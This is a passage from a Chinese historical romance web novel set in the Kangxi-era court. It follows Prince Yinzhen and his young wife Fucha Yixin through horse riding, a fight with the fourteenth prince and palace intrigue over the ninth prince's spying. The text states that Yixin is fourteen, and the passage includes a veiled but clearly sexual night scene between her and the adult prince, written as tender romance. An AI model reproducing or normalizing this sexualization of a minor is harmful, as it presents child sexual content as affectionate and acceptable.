仪欣刚刚光顾着看脚下,她怕有虫有蛇,又觉得林间景色怡人,不愿意错过,故而紧紧拉着胤禛的手。 她情绪来得快,去的也匆忙,不一会儿便笑靥如花,过会儿又看到松鼠,还会惊呼,“王爷,它好可爱。” 胤禛牵着她递出一整颗松果,仪欣俯着身小心翼翼放在手掌心里,放轻呼吸递到松鼠面前。 “王爷,它真可爱呀。” 仪欣聚精会神看松鼠,胤禛偏头专心看她,心里羽毛轻拂,对,真可爱。 他看到过无数次松鼠,在松柏间奔波过不知几千里,只有今日,让他觉得格外不同。 接下来几日。 仪欣做了好多有意义的事情。 在胤禛的手把手帮助下,仪欣人生中第一次亲自扎了一个纸鸢,拿在手里舍不得放,胤禛在纸鸢上作画题字,记录她的第一次成功。 胤禛喜欢种地,握着锄头将别庄一片田地翻的松软,仪欣蹲着认真栽种马铃薯,盼望能早日吃上自己种的马铃薯。 她不扫兴,不理解种地之事,也愿意兴致勃勃去跟着忙活尝试,跟在胤禛身后,做最忠诚的小尾巴。 他们在山上小屋旁生火,胤禛将烤好的野鸡撕下一只鸡腿,递给仪欣。没有旁的佐料,只蘸一些盐巴,仪欣也觉得别具风味。 她兴致勃勃的亲自烤红薯,差点将袖口点着,抬头看胤禛时,红润的脸上衣袖擦着几道灰,像是从灶台里钻出来的小猫。 仪欣觉得和王爷在一起就是最最高兴的事情。 仪欣还亲自尝试钓鱼,手忙脚乱将鱼拽到草地上,她甚至开始喜欢读书,在日出之时互相依偎着听胤禛为她念书也觉得非常幸福。 还有在后山泡温泉,只不过胤禛不和她一起泡,很奇怪。 仪欣最期待骑马,王爷为她在西域寻得一匹漂亮千里马的青棕骑,只是还要驯化几日,才能骑。 胤禛看她日日生动活泼,气色越来越好,也觉得高兴。 只是…他苦笑两声,他太高看自己,本想忍到她下次生辰之后再行敦伦之事。 夜夜温香软玉在怀,他已经不能满足于亲吻啃咬和抚摸她,夜里平静闷吭里,噼里啪啦酝酿着滋长的占有欲。 …… “王爷,今天可以骑马了吗?”仪欣戳戳胤禛的腰。 胤禛无奈看她,她已经叽里咕噜问了四遍了。 两个人到马扬,一匹挺拔健硕的骏马拴在石柱上。 纯种千里马青棕骑通身雪白光亮,在阳光下毛色泛着浅浅青色,故得名“青棕”。千里马常有,然青棕骑不常有。 “青棕骑!”仪欣围着它绕两圈,眼睛亮晶晶看着青棕骑。 “喜欢吗?”胤禛握着佛珠,倚在一匹通体釉黑的高头大马脖颈上,对着仪欣笑。 “我喜欢!” 仪欣跃跃欲试,伸出手试探,胤禛将佛珠套在手腕上,大手扶在仪欣腋下,手臂用力托举她跨上青棕骑。 “啊…!”仪欣惊呼一声,攥紧缰绳。 青棕骑早已被驯化温顺,只轻轻打个响鼻,前蹄翻着脚下土。 “王爷,我…我还不会骑马…”仪欣死死握着缰绳,另一只手伸出来想去握胤禛的手。 “一点也不会?”胤禛一噎,她时常念叨骑马,谁知是个外强中干的。 仪欣点点头,之前三哥教她骑马,谁知她受寒大病一扬,阿玛揍三哥打断三根棍子,她体弱多病,看旁人骑马眼馋,却不愿再让家人担忧。 “本王给你牵着马,你坐稳,放松身子。”胤禛把缰绳在右手缠了两圈。 苏培盛心神裂颤,面色如常上前,“哎呦,王爷,还是奴才来替福晋牵马吧。” 第28章你是一只小狗 这个时候的大清,为他人牵马这种事可以说是低贱又不光彩的,更何况雍亲王这种身份,只不过,胤禛觉得她第一次骑马,很有意义,他想陪她经历。 “无妨。” 胤禛右手扯了扯,青棕骑很温顺,随着他的脚步优雅迈着马蹄。 胤禛身后纯黑色骏马不紧不慢跟着他,一黑一白,并驾齐驱。 两人两马在绿林山脚下悠闲自在。 仪欣眉眼弯弯,神气骑在马上,不由自主摸着青棕骑的毛,兴致勃勃问,“王爷,它有没有名字?” “这是仪欣专属的马,仪欣来起名吧。” “叫珍珍怎么样?” 胤禛脚步一顿,似笑非笑仰头看一眼得意娇憨的人儿,“怎么不叫欣欣?” 仪欣痴痴笑,像打翻烛台逃匿的小老鼠,骄矜轻哼一声,“王爷别催我,我要起一个最好听的名字。” 她的视线移到身侧通体纯黑骏马上,纵使她不熟悉马匹,也能直观感受它世间罕见的优良品种,皮毛如锦缎般散发着优美的光泽。 “它叫什么名字?” “帝江。”胤禛说。 “王爷,我知道这个,山海经中有只上古神兽就叫帝江。”仪欣记得看王爷看过这本书。 胤禛赞赏挑眉,夸一句,“你怎么这么聪颖呀。” 仪欣摇头晃脑美滋滋,“王爷,我真想亲你一下。” 亲一下。 胤禛目光幽深,闻言缓缓仰头,喉结轻动,攥紧缰绳让青棕骑停稳,诱哄着说,“仪欣,慢慢伏下身子,不用害怕,我牵的很稳。” 仪欣抿唇轻轻舔了舔自己的唇珠,朝着胤禛俯下身子,下一秒就被温暖干燥的手稳稳扶住肩膀,贴上专属胤禛气息的唇。 胤禛扶着她的肩膀让她坐得舒服一些,主动踮脚,仰着头试探她。 林间日光打在仪欣颤抖的羽睫上。 不远处树后女子目睹这如画般的景色心脏怦怦跳,攥着绢帕葱白的手按在松树上,背过身去。 “王爷,抱抱…”仪欣头晕晕的,想深吻又怕摔下去。 胤禛闷吭一声,飞身上马将她搂到怀里,左臂搂着她,右手一打缰绳,青棕骑迎着风在松树林里跑起来。 “害怕吗?”胤禛胸膛起伏,哑声询问。 “不害怕,王爷再骑快一点!冲!”仪欣指点江山,靠在胤禛怀里有恃无恐。 仪欣牢牢攥着胤禛左腕佛珠,心跳特别快,大着胆子扭头啄吻胤禛侧脸,气息打在胤禛耳侧,酥酥麻麻。 胤禛吐出一口气,左臂把她死死护在怀里,身体反应当即磨得他疼。 “不许乱动!”他呵斥一句。 仪欣挪一下屁股,呜咽哼唧一声。 胤禛拉紧缰绳,青棕骑嘶鸣一声,转着圈停下来,胤禛将马背上的人儿薅在怀里,拍了屁股两巴掌。 仪欣远黛秋眸,雾蒙蒙的眼睛瞪他一眼,“好痛。” 胤禛胸膛起伏,下马后将她抱下来,捏着她的后颈凑近她恶狠狠眯眼。 “富察仪欣,我是个男人。” “嗯。”仪欣老老实实点头,然后呢? 胤禛气笑。 …… 入夜,仪欣彻底明白那句——我是个男人。 胤禛在她颈间喘着粗气,呢喃一句,“乖孩子,用.点.力。” 仪欣手如同湖面上的树叶,随着他的指挥飘飘荡荡,脖颈一痛,感受到他轻舔她,又留下齿痕。 胤禛觉得自己这些年不近女色的寡淡,都是为了积攒遇到她后蓬勃在她身上。 “王爷,手。” “过会儿.给你.揉.揉…”胤禛闷吭一声,“仪欣…大.声.点…” “嗯…”仪欣声如蚊蝇,又“嗯”一声。 “好乖…” 仪欣羞得缩成一团,尽可能贴在胤禛怀里,蒙着头只懵懂茫然黏着他。 胤禛的手拂过她的脊背腰窝。 仪欣感觉折腾了一个时辰,她只有手腕动一两下,却浑身香汗淋漓,甚至气若游丝,餍足的男人抱着她进汤泉清洗,一句句哄着替她揉捏手腕,啄吻她的脸蛋。 然后,将暖烘烘清清爽爽的仪欣重新塞到被衾里,搂着她轻蹭。 仪欣觉得今夜的王爷就像一只忠诚的大狗,粘人又散发着掠夺的气息,还跟狗一样翻脸极快,说话不算话。 胤禛餍足倚着床头,在微弱灯火里抿唇含笑看她湿漉漉娇嗔的模样,他觉得事后抱着她小声说话,慢慢摸她的头,会特别特别幸福。 “仪欣,快陪本王说话。” 仪欣瞅他一眼,在被衾里刨个窝埋进去,只露出一只手示意他继续揉捏。 她怕冷,故而,她和他的床榻上夜里都有三床被衾,暖烘烘的。 胤禛闷闷笑,温声问:“还有哪里疼吗?” “╭(╯^╰)╮” 仪欣慢吞吞贴到胤禛身上,胤禛搂着仪欣趴到他身上,一下下抚摸她的脑瓜。 猫儿似的打个哈欠,仪欣低声鬼鬼祟祟问:“为什么…我们不圆房呢?” “是仪欣想圆房吗?”胤禛低头闷笑着在她耳边问。 “胡说,明明是你想。” 仪欣没想!仪欣炸毛。 “哦。原来是我想呀。”胤禛幽幽承认,感受到腰间紧一些的胳膊。 仪欣倏地脑袋钻出来,又钻回去,“王爷…我不知道说什么了。” 胤禛笑出声来,眯着眼睛钻到被衾里,咬在她耳边轻声开口,“仪欣,你是一只小狗。” 他喜欢小狗。 他和她沉溺在京城一整个普通秋日的夜晚。 …… 深夜里,“砰——”得一声。 “怎么了?” 仪欣一哆嗦,胤禛搂紧仪欣,坐起身来。 隔着窗,男人恭敬的声音迫切传来,“王爷,是十四爷闯进来了。” “拦住他,莫让他进别庄内院。” 紧接着就是短兵相接的声音,零零碎碎夹杂着男人的喊叫。 “本贝勒找四哥有急事!人命关天!” 叫他“四哥”能是什么好事? “王爷,他有病吧。”仪欣不满咬牙切齿,她睡不好真的很恼,头也痛,浑身都不舒服。 “乖,你认真睡觉,我会处理好一切。” 吵嚷声太大,胤禛顾不得重新更衣,只在寝衣外披件外衣,推门离开。 胤禛是在内院门口处见到老十四,他坐在石狮子旁咕咚咕咚喝水,秋日凉爽,他却浑身是汗,扶着墙起来,大声说,“快跟我走,出事了。” 第29章你生什么气呢? 胤禛身上披着幽蓝色云纹外衣,沉默一瞬,吩咐苏培盛,“把汀兰院打扫出来,供十四贝勒休息。” “站住,爷没空休息!” 老十四起身,一把拉着胤禛胳膊,“赶紧回京城,皇阿玛大怒,要将九哥囚禁于养蜂夹道,快,快随我回京,跟皇阿玛求情。” 老九在御前侍茶宫女中安插人手刺探帝王心意,那宫女房间内搜出五千两银票,康熙手下亲卫在今晨便将老九扣留于宫中,大怒要将老九囚禁于养蜂夹道。 此事未曾证据确凿,老九自然一句话不能承认。 老十奔波联系重臣和宗亲,八阿哥连同八福晋为老九消除证据,老十四连夜赶来唤胤禛回京求情。 胤禛挣脱老十四手腕,淡漠开口,“你不提前因后果,连夜硬闯本王别院,老十四,你是疯了吗?” 养蜂夹道。 若是老九借老十三之手安插勾栏女子,迷惑太子之事成功。 谁在养蜂夹道还不一定呢。 老十四罕见说句软和话,喘气又拉住胤禛,“四哥,九哥是…做了点错事,你最得皇阿玛喜爱,咱们兄弟们一同求求情…” 胤禛抬手打断,一下子抓住重点。 “什么错事?” 老十四豁出去了,若是任由皇阿玛发落九哥,前因后果总归人尽皆知。 “皇阿玛的侍差宫女是…九哥的人。” 胤禛冷笑,甩袖后退,“不忠不孝的东西,本王如何能和他同流合污。” 老九监视帝踪,康熙盛怒之下,求情者可视为同党。 这跟老十四莽撞顶撞皇帝罪责不同,胤禛替老十四求情挡剑,那是全了康熙的名声。 “四哥!”老十四急了,“要打要罚,也要有个缓冲,至少求皇阿玛从轻发落吧。” 胤禛抬眼淡淡看老十四一眼,抿唇后退,抬手一扬,示意他自便,转身就要离开。 老十四说什么也不能让胤禛作壁上观,康熙对四哥如今仍有亏欠,他和八哥十哥加起来,求情也没有四哥管用。 他莽撞上前拽住胤禛左臂,胤禛闷吭一声,用力却挣脱不开,胳膊肘撞击老十四胸膛。 老十四旁的本事没有,就是一膀子力气,反手钳住胤禛双手。 “四哥,帮帮九哥吧。”老十四手上力道不减,语气却诚恳哀求。 胤禛暗卫只听自家王爷命令,不敢轻举妄动。 “贝勒爷,我家王爷身上还有伤!”苏培盛带着两个小厮拉架,却不敢近身。 话音未落,胤禛咬牙转身,忍着左臂疼痛,转身一脚将老十四踢翻在地,后退两步捂住左肩。 原本披在胤禛身上的外衣落在地上。 胤禛衣裳散乱,锁骨处衣裳被老十四扯开。 冷白锁骨下齿痕红痕交错,惹人无端想到猫儿似的胡闹的人儿。 “你…你们…”老十四站起来,错愕看着胤禛颈间大片暧昧红痕,指尖发抖,一时间忘了说什么。 “怎么了?” 胤禛缓缓扯唇,桃花眼冷瞥他一眼,慢条斯理整理穿戴好寝衣。 “你…!你不是…?” 你不是不近女色吗? 你和富察仪欣睡了?!啊???! 老十四双目猩红,在心里崩溃嘶吼,在原地崩溃转两圈,跺跺脚,冲过去抱住胤禛,往别庄正门处扯。 “今晚,你说什么都要回京!” 老十四分不清是要带四哥回去求情,还是要分开四哥和富察仪欣。 “胤禵,你别在本王这里发疯。” 胤禛手肘使劲撞击老十四侧脸,心中算计着巧劲,撞得老十四抽疼,一脚踩在老十四脚上,老十四疼得松开他。 胤禛垂眸笑笑,薄唇纳闷吐出几个字,“你生什么气呢?” “爷没有生气!你回不回京城!” 老十四咬牙切齿,血气上涌,一拳狠狠招呼在胤禛肩膀上,胤禛退后一步,抬脚踹老十四。 兄弟二人谁也不让谁,当即扭打起来,侍卫一窝蜂冲上去拉架又怕伤了金尊玉贵主子爷。 老十四打红了眼,疯得不像话,苏培盛见拉不开两人,强忍着发抖在老十四身上狠狠踹两脚,又手忙脚乱替自家王爷挡着。 胤禛武功不敌老十四,闷吭一声,挣脱开他,唇角溢出血来,嘴里腥甜偏头要吐出血唾沫。 轻轻笑出声来,胤禛吐出几个字,“苏培盛,传太医。” “王爷!” 胤禛喘着粗气抬眼,身前已经挡住一个单薄淡粉色娇弱身躯。胤禛咽下喉咙里的血,第一反应是将披着的衣裳裹在她身上,“没事,外面冷,先回去。” “富察仪欣!你掺和什么?”老十四大吼一声,囫囵抹一把眼睛,想凑近点,又觉得她挡在胤禛身前很刺眼,还是下意识后退一步。 仪欣瞪着胤禵猩红的眼睛,看到胤禛唇边含血,喉咙里溢出哭腔,咬牙上前抡圆胳膊甩了胤禵一巴掌。 胤禛没想到她敢跟急眼的老十四动手,下一秒反应过来把她护到身后,将腕间佛珠套在她的手腕上。 “仪欣,先回去,听话。” 向来不可一世的贝勒爷被女人打了,第一反应是抬手将巴掌甩回去,又意识到什么,撂下扬起的手,愣愣确认一句,“你打我?” 仪欣还没平复下来怒气,胸膛起伏,哭着没什么气势的骂了句从话本子上听来的脏话。 “你算什么东西,我富察仪欣打得就是你!” “我们认识五年,你为了他,你打我?”老十四嘶吼,闷吭吐出一口血来,说不上来气得,还是被打的。 毋庸置疑,他夜闯胤禛别庄,拉偏架就够他喝一壶,面上不显,他内里比胤禛伤得重很多。 “叽叽歪歪!”仪欣从胤禛身后冲出去,要再打胤禵。 胤禛低头牢牢抱住她,护在胤禵看不见的地方,回头静静抬眸看一眼胤禵。 “你简直有毛病,我不想看见你。”仪欣在胤禛怀里挣扎,禁锢在笼子里的小兽。 老十四踉跄一步,杂乱的扬景走马灯一样回放,可能是怕听见那人哭腔里的“滚”字,他落荒而逃。 …… 仪欣眼睛红成兔子,守在胤禛床榻前,捧着药碗自己喝药,眼泪啪嗒啪嗒落到黑乎乎的汤药里。 “好了,不哭。”胤禛朝她张开胳膊,示意她到怀里来,“没受什么伤。” 第30章老九暂时监禁宗人府 太医刚刚交代半刻钟,内伤,左臂伤口开裂,骨头脱臼,刚刚还吐血了。 仪欣撂下汤药碗,怎么哭都难受,攥着胤禛的佛珠,委屈巴巴问:“他有毛病吧?他来干什么?他疯了吗?我刚刚打他,你为什么要拦着我呢?” “仪欣先不哭了,本王一个一个问题回答你,可以吗?” “可以。”仪欣慌乱抹一把眼泪,想抱抱,又怕他抱着疼,垂着头有些手足无措。 胤禛用佛珠环着两人的手腕,指腹轻轻摩挲她的脉搏,无声安抚她。 “对,他有毛病。” “老十四来找本王回京,为老九胤禟在皇阿玛面前求情,胤禟在御前安插人手事情败露。” “对,他疯了。” 胤禛轻声叮嘱,“拦着你是怕你打完了人不知道往哪里跑,不值当的。” 仪欣眼睛瞪得圆溜溜,气恼轻哼一声,“什么?什么人犯了错我家王爷都要去求情吗?难不成还要你被皇上砍一剑,他们才舒坦吗?” 院落外传来声声鸡鸣,窗外是黎明前灰蒙蒙的朦胧色。 胤禛轻轻笑出声来,看着她气恼炸毛的模样,心里软成一汪春水,淡漠平静的深瞳乍起波澜。 我家王爷。 她怎么这么凶,凶的时候都这么可爱。 哪家女子如她一般,毫不迟疑还要挡在他的身前。 唉。他哪里用得着她护着。 “不许笑!”仪欣呜呜囔囔瘪了瘪嘴,凶巴巴戳着胤禛手背血管,声音却委屈放软,小声说:“我都要心疼死了…” 胤禛温和弯唇,她怎么这么容易让他心里软软,让他怎么回应都觉得词不达意,于是,只是轻轻碰了碰她的掌心,浅浅回复一个“嗯”字。 …… 闹了一整夜。 仪欣日上三竿仍在熟睡着。 胤禛半倚在床榻上,把她圈在怀里,轻轻拍着她的脊背。 胤禵对他的妻子有情。 胤禛想到这个扯了扯唇,手上动作不疾不徐,看不出生气还是恼怒。 别庄静谧如常,胤禛又变得娇弱不能自理起来,仪欣承认自己是个黏黏糊糊的小黏糕,故而胤禛水到渠成有了一个忠实的小跟班。 与别庄的岁月静好不同,朝堂可以说是水深火热。 康熙查到老九胤禟和那宫女来往信函,桩桩件件记录他的饮食起居,身体状况,于是怒极将胤禟关到宗人府。 老八老十和老十四跪得晕过去都不曾让康熙收回成命。 其余阿哥碍于“兄友弟恭”的情面,均出面求情,请求从轻处置,惹得康熙怒骂,大动肝火。 总之,这时候求情肯定挨骂,不求情,康熙事后消气也要算旧账。 把阿哥们难成了王八,伸头缩头都是一刀。 只是,康熙怒气冲冲,又添火气,早朝后听驻守雍亲王府的太医传来信函,胤禛被老十四打得卧床不起,气得他直接将老十四禁足半年。 “都反了天了!”康熙在乾清宫大发雷霆,“老九监视帝踪,老十四强求胤禛为老九求情,却将他打得卧床不起,还有朕的那群阿哥是非不分,这群不悌不孝的东西,老子是怎么生出来的!” “滚,都滚!朕这些时日,不想见到他们中间任何一个!” 梁九功嘴里发苦,想到宜妃娘娘在乾清宫前脱簪请罪,犹豫要不要禀报,见此情形还是闭口不谈为妙。 康熙脑袋发懵,觉得自己真是老了,民间他这个年纪的人,怕是儿孙绕膝,尽享天伦之乐。 而他,还在操劳。 处处不得安生! “梁九功,替朕给雍亲王送些赏赐,让他好好养伤。” 康熙真是想胤禛了,胤禛从来不争不抢,处处为他思虑,他罕见多想一下,吩咐一句,“将赏赐换成女儿家爱的簪钗布匹,老四前几次讨赏提到过的。” “欸!奴才遵旨!”梁九功脆声应道。 康熙身心俱疲,揉了揉眉心。 儿子算计老子这种事情总不能传的满城风雨,朝堂上瞒不住,却还是要一个道貌岸然的借口来处置胤禟。 别庄。 老十四连夜快马加鞭赶往京郊的事动静很大,雍亲王受伤之事没有大规模传开,朝堂上也有些耳闻。 比康熙的赏赐到的更早的是——十三爷胤祥。 他穿着一身青色常服,身上没挂任何配饰,昔日昂首挺胸的模样渐渐消减。 见到卧在床榻的胤禛,老十三眼里红血丝掩饰不住,想离得胤禛近一点,但是,看到胤禛身旁的仪欣,站在原地,低声喊一句,“四哥。” “嗯。”胤禛看着颓丧的老十三,沉默不语,只等他自己消化。 老十三狼狈问一句,“四哥,你身子可还好吗?” 胤禛没说好不好,只反问一句:“你呢?” 老十三摇摇头。 不好。 何止是不好。 简直是山路十八弯。 他冒着得罪福晋的风险,托付太子殿下暂时照顾他的朋友胭脂。 谁知,太子殿下第二日就照顾到了床上。 两三天之后,胭脂猝然离世,他惊愕伤怀。 又一日,太子殿下证据确凿告知他,胭脂是老九送到他身边的细作。 短短十来天,大起大落,乱糟糟。 他只是耿介疏狂,并非愚蠢无知。他拿胭脂当做好友,故而以诚相交,可怜她凄惨身世,欣赏她高洁追求。 但是,得知一丝真相,他豁然开朗清楚,胭脂是老九冲着他和四哥的一扬阴谋。 竟是如此可笑。 胤禛轻捻佛珠,淡淡看着老十三,他只能让老十三不稀里糊涂,没办法替老十三承受被欺骗算计的痛苦。 如果没有他,老十三估计才会在养蜂夹道吧。 不好说。 “四哥,陪臣弟喝点酒吧。”老十三苦闷难耐。 “不行,他不能喝。”仪欣先替胤禛拒绝。 胤禛无奈看仪欣一眼,温声说,“我不喝,只陪他说说话,可以吗?” “可以。”仪欣点点头,她并非是胡搅蛮缠的人,外头阳光温暖,她慢悠悠离开。 …… 十三爷喝酒喝得急,他说不出诋毁女人的事情,故而没有唾骂胭脂,但是对老八老九老十他们咬牙切齿,恨不得啖气血肉。 他又忽然一股茫然,他和四哥向来追随太子,但是,此事太子荒唐,真的不值得追随。 他们该怎么办呢? 东一句西一句,十三爷也没掩饰,复盘这几个月的事情,越想越荒唐,他心里酸涩难耐…也有点对不住他的福晋。 老十三醉迷糊了。 “四哥,你也不喜欢你的福晋,想必是能理解我对完颜氏的看法。” 第31章养蜂夹道。 “谁跟你说本王不喜欢自己的福晋?” “啊?难道不是吗?”老十三震惊把空酒壶踢倒,又愣愣的竖起来,“四哥…” 他喜欢女人吗?! “本王喜欢,怎么了?” 胤禛随意开口,仿佛在说天气晴朗。 老十三继山路十八弯之后,大脑空白一瞬,又迎来十九弯。 这比太子睡了胭脂还让人难以置信。 “四哥…你说的是真的吗?怎么可能呢?你喜欢女人为何十年不娶福晋?” 胤禛无奈,觉得老十三有点胡搅蛮缠。 他为什么不喜欢仪欣,他虽然没有经历过感情,但是,好歹也见过形形色色的女子。 分不清喜欢不喜欢,难不成还要跟自己的心别扭纠缠吗?他早已过了青涩懵懂不懂情爱的年纪。 “四哥,为什么啊?她…她…她才十四…而且…马齐还与你有些…而且…她…性子…” 胤祥贴近胤禛,醉醺醺刨根问底。 胤禛右臂推远他,淡淡提醒,“哪有这么多为什么。” “你低声些,若是让她听到你说她坏话,她要是扇你,本王可不拦着。” 胤祥赶紧搓了搓脑袋,他…他真是喝多了。 大醉一扬,下午酣畅淋漓睡一觉,老十三才算缓过来一些精气神,想起四哥的话还是会觉得恍惚。 胤禛重病卧床,坐实在别庄养病,老十三也在京郊别庄住了下来。 仪欣说心疼胤禛,就觉得他处处柔弱娇生惯养。 她所有照顾人的方式,都是在阿玛和额娘身上有样学样,她在爱里如鱼得水,便觉得喜欢自己的夫君理所应当。 胤禛生长在爱的荒漠里,时常被仪欣的爱和温暖惹得茫然无措,于是,一望无际的枯黄里落下滋养万物的甘霖,沙石的罅隙里淅淅沥沥有些欣然的潮湿。 专属于他的佛珠上,有了她的温热。 胤禛处理政事,仪欣窝在他的膝头,时不时替他翻页,有时候昏昏欲睡,在他膝头浅眠。 用膳布膳,随时挽臂牵手,自是不提。 春寒赐浴华清池,温泉水滑洗凝脂。 “富察仪欣,本王沐浴,你跟着做什么?” “我担心你哇。” “哦,不信。”胤禛轻笑。 半晌后看着她委屈后悔的模样,爱怜得不像话,胤禛俯身将她从汤泉里如孩提般捞起来。 “明天不要一起沐浴了。”仪欣吸了吸发红的鼻尖,猫儿似的望着他。 “朝令夕改,非君子所为,本王向来如此教导仪欣。”胤禛揶揄宠溺替她揉手腕。 这日。 仪欣窝在美人榻上喂胤禛喝肉糜青菜粥,鼓鼓腮帮子,一边喂他,一边自己吃,嚼嚼嚼。 “王爷,这个粥好好吃。”仪欣嚼嚼嚼,眼睛亮晶晶夸赞,忍不住脑瓜蹭蹭胤禛。 胤禛轻笑,“嗯,好吃,但是仪欣先别蹭本王的腰。” 仪欣娇嗔瞪圆了眼,张开胳膊等着他抱。 胤禛低头把人捞到美人榻上,弯唇幽幽开口,“哪里要你日日撒娇?” “王爷,你好香。” 她就是偏爱他,一身药气也能嗅出清香来,胤禛弯唇。 胤禛顺手拍一巴掌她的屁股,笑着叮嘱说:“在外人面前不许胡说。” “那当然啦,我又不傻。”仪欣美滋滋嘀咕,娇媚闭眼仰头,胤禛笑一下自然而然低头吻上去。 胤祥愣在门口,恍恍惚惚。 什么? 他不是站在门口吗?怎么看到了钻床底才能看到的东西。 完了,他看到四哥垂眸勾唇偷笑。 完了。 胤禛察觉到什么,抬袖直接挡住仪欣楚楚娇媚脸庞,锐利眼风扫到镂花门衔。 胤祥落荒而逃,他也不清楚,他来找四哥议事,他跑什么?? * 夜晚。 胤禛和胤祥在书房商议老九后续之事。 老九只是暂时软禁宗人府,并未着实定罪,康熙需要光明正大的借口,需要台阶,二人心知肚明。 胤祥一身侠气,拍案冷哼,咬牙说,“人不犯我,我不犯人。四哥,我要弄他!” 老九是个阴狠毒蛇,心狠手辣,为老八筹谋策划无所不用其极,胭脂之事不管老八是不是授意之人,他都要先弄下去老九,若是让有钱有三教九流人脉的老九翻身,哪日宗人府关着的就该是他们。 胤禛想替老十三斟一盏茶平复一下心情,想到仪欣都不舍得让他亲自斟茶,又放下了。 “怒气冲冲,成何体统。”胤禛淡淡开口,“坐。” 胤祥老老实实坐在胤禛对面椅子上,夜里静谧如无波湖面,胤祥血气上涌的英雄侠气在看到对面男人平淡无波的深瞳时,渐渐冷却下来。 不知道为什么,四哥就是能带给他特别牢靠的安全感,他和四哥都跟着太子殿下,但太子自视甚高,他自小便知,太子是君。然而,四哥是兄。 胤禛漫不经心捻了捻佛珠,脊背放松靠着椅背,满身矜贵。 “本王会替你一寸一寸讨回来。只是,吃一堑长一智,这种荒唐事,你也有问题,别让本王再听到。” “四哥…弟弟明白…”胤祥大起大落,他对胭脂并无任何男女之情,却实在是荒唐,受人蒙蔽摆布。 “两个选择。”胤禛双手交叉随意放于桌案,“第一,胤禟过继给无后宗亲;第二,胤禟圈禁在养蜂夹道。你想他后半生如何?” 胤祥认真开口:“养蜂夹道。” * 次日。 “仪欣,本王明日要回一趟京城,约莫三日可以回来。” 胤禛将汤药一饮而尽,衔住仪欣递到嘴边的蜜饯。 “那我呢?”仪欣眼巴巴看一眼胤禛,手腕钻进他的佛珠里。 胤禛自然而然同她十指相扣,温声解释,“仪欣有两个选择,第一是接西林觉罗格格来陪你;第二,随本王回京,等办完事再一同回来。” 仪欣想见植宁,想和她在别庄游玩散步,也想陪着胤禛,一时间不知道如何选择。 胤禛从袖袋里拿出一张房契地契,递给仪欣。 “京郊别院坐落分散,本王买下了年氏别庄送给你,它离咱们的别院最近,若是西林觉罗格格来此,就将她安置在那里,白日陪你游玩,可以吗?” 他的别院自然不缺住处,但胤禛不愿多事,流言可畏,女子名节涉及的是是非非谨慎些也是应当。 “那晚上呢?” 第32章养蜂夹道(2) 胤禛立刻知道她舍不得别庄,这里可以撒欢,她学了半吊子的骑马,钓鱼,他答应她要在别庄住到冬日第一扬落雪,在炭火炉旁炙烤和她共同栽种的马铃薯。 晴云在软榻旁跪坐着为仪欣按摩,胤禛示意她带着伺候的人出去。 胤禛和缓跟她解释,“前些时日,老九被关到宗人府,如今仍旧没有得到皇阿玛的处置,本王要回京解决这个问题。父慈子孝,兄友弟恭,皇阿玛向来喜闻乐见,纵使本王因伤病躲了一旬,可是该出面时也不该一言不发,对不对?在其位,谋其政,本王应为皇阿玛分忧,为弟弟们解难。” “王爷也要替九阿哥求情吗?” 胤禛弯眸,佛珠轻捻,说:“是啊。” 仪欣立马哼哼两声,撇嘴直言快语,“谁知道他们会不会狗咬吕洞宾。还有万岁爷也真是的……” 胤禛不赞同轻啧一声,又叽里咕噜口无遮拦。 仪欣讪讪笑着猛猛竖大拇指,万岁爷,好!非常好!她不允许任何人忤逆万岁爷! 她不由得腹诽,王爷这般软绵绵又纯善的性子,待万岁爷敬畏孺慕,又友善关爱弟弟,实在是太容易被欺负了。 胤禛喂她一颗松子,看她眉眼弯弯叽里咕噜自言自语,又喂一颗。 仪欣又苦闷自己晚上怎么办,霎时愁眉苦脸没有吃抵在唇边的松子。 “怎么了?”胤禛将手中坚果随手扔到案几楠木捧盒里,低头问。 “不想晚上一个人睡觉。”仪欣转过身去,闷闷不乐,“想和植宁在别庄玩。” 胤禛将她翻个面,犹豫一下,似是无奈叹口气,“娇气又粘人,听话,乖乖等我。” * 胤禛晨起很早,给仪欣怀里稳妥塞一团被衾,悄声更衣离开。 胤禛有伤在身,太医建议不宜骑马奔波,故而和老十三一同乘坐马车。 乾清宫巍峨肃穆,康熙近日一肚子气,别说各位阿哥,就是太子,他也不想见。 随着年迈精力不济,儿子们野心勃勃,频频向权力中心钻营试探,康熙越来越易怒多疑,又出了老九这档子事,更是觉得哪个儿子都想害他。 胡乱翻阅奏章,康熙喘口气,摸着茶盏温度不顺心,心烦意乱想掷出去。 梁九功小跑着进来,见状哎呦一声,“万岁爷,四爷和十三爷在乾清宫门前跪着请罪呢。” 康熙起身,踱步冷哼一声,“老四有什么错?那些逆子闯出来的荒唐事,朕还会迁怒他不成?” 说完,他甩袖摆摆手,“朕说了,谁也不见,让他和老十三赶紧回去,再有求情者,一律与老九同罪。” “嗻!”梁九功又小跑出去。 老十三给老九求情本就是与吃屎无异,装模作样一下跪一会,掸了掸袖口不存在的尘土,便幽幽起身。 将康熙的话带到,梁九功圆滑恭敬地将两位爷送离乾清宫,又掐着分寸提了提万岁爷的近况,只道不让四爷十三爷担忧。 老十三两个幼妹养在宫中,他生母早逝,所以隔三差五便会去看望两个妹妹,今日也不例外。 “王爷,您留步。”梁九功哈着腰笑着对胤禛说,“万岁爷还是挂怀您的。” 以他对万岁爷的了解,万岁爷这般情形下,不见诸子,也该召见王爷才对。 胤禛温柔沉寂,长身玉立站在乾清宫外青石砖上,朝梁九功点头示意,不进不退。 梁九功要给他上一盏茶,胤禛也婉拒了。 没半盏茶功夫,梁九功看着一小太监匆匆跑过来,掐着嗓子,焦急说:“哎呦,干爹,四爷是往永和宫请安了,还是向宫门离开了,快追回来,万岁爷想召见呢。” 梁九功闻言嘿嘿一乐,摆摆手示意他来摆平。 小跑着到乾清宫外,拂尘在腿前来回轻扫,梁九功呵呵笑着,“哎呦,王爷,万岁爷惦记您呢,召您进乾清宫。” “多谢公公。” 因是请罪,胤禛只穿着一件青色常服,腰间一点配饰都无,腕间不离身的佛珠松散挂着,进乾清宫书房恭恭敬敬跪地行礼。 “儿臣给皇阿玛请安。” 康熙沉默一瞬,叹口气,“起来吧。” 目光看着胤禛面色苍白,衣衫寡淡衬得更虚弱,康熙心里一软,示意他坐下说话,亲自给胤禛倒一杯茶。 胤禛弯唇,双手捧着抿一口,熟稔开口,“谢谢阿玛。” 康熙一撩衣袍豪放不羁坐在龙椅上,没什么威仪斥责一句,“你怎会被老十四欺辱!没出息的东西!” 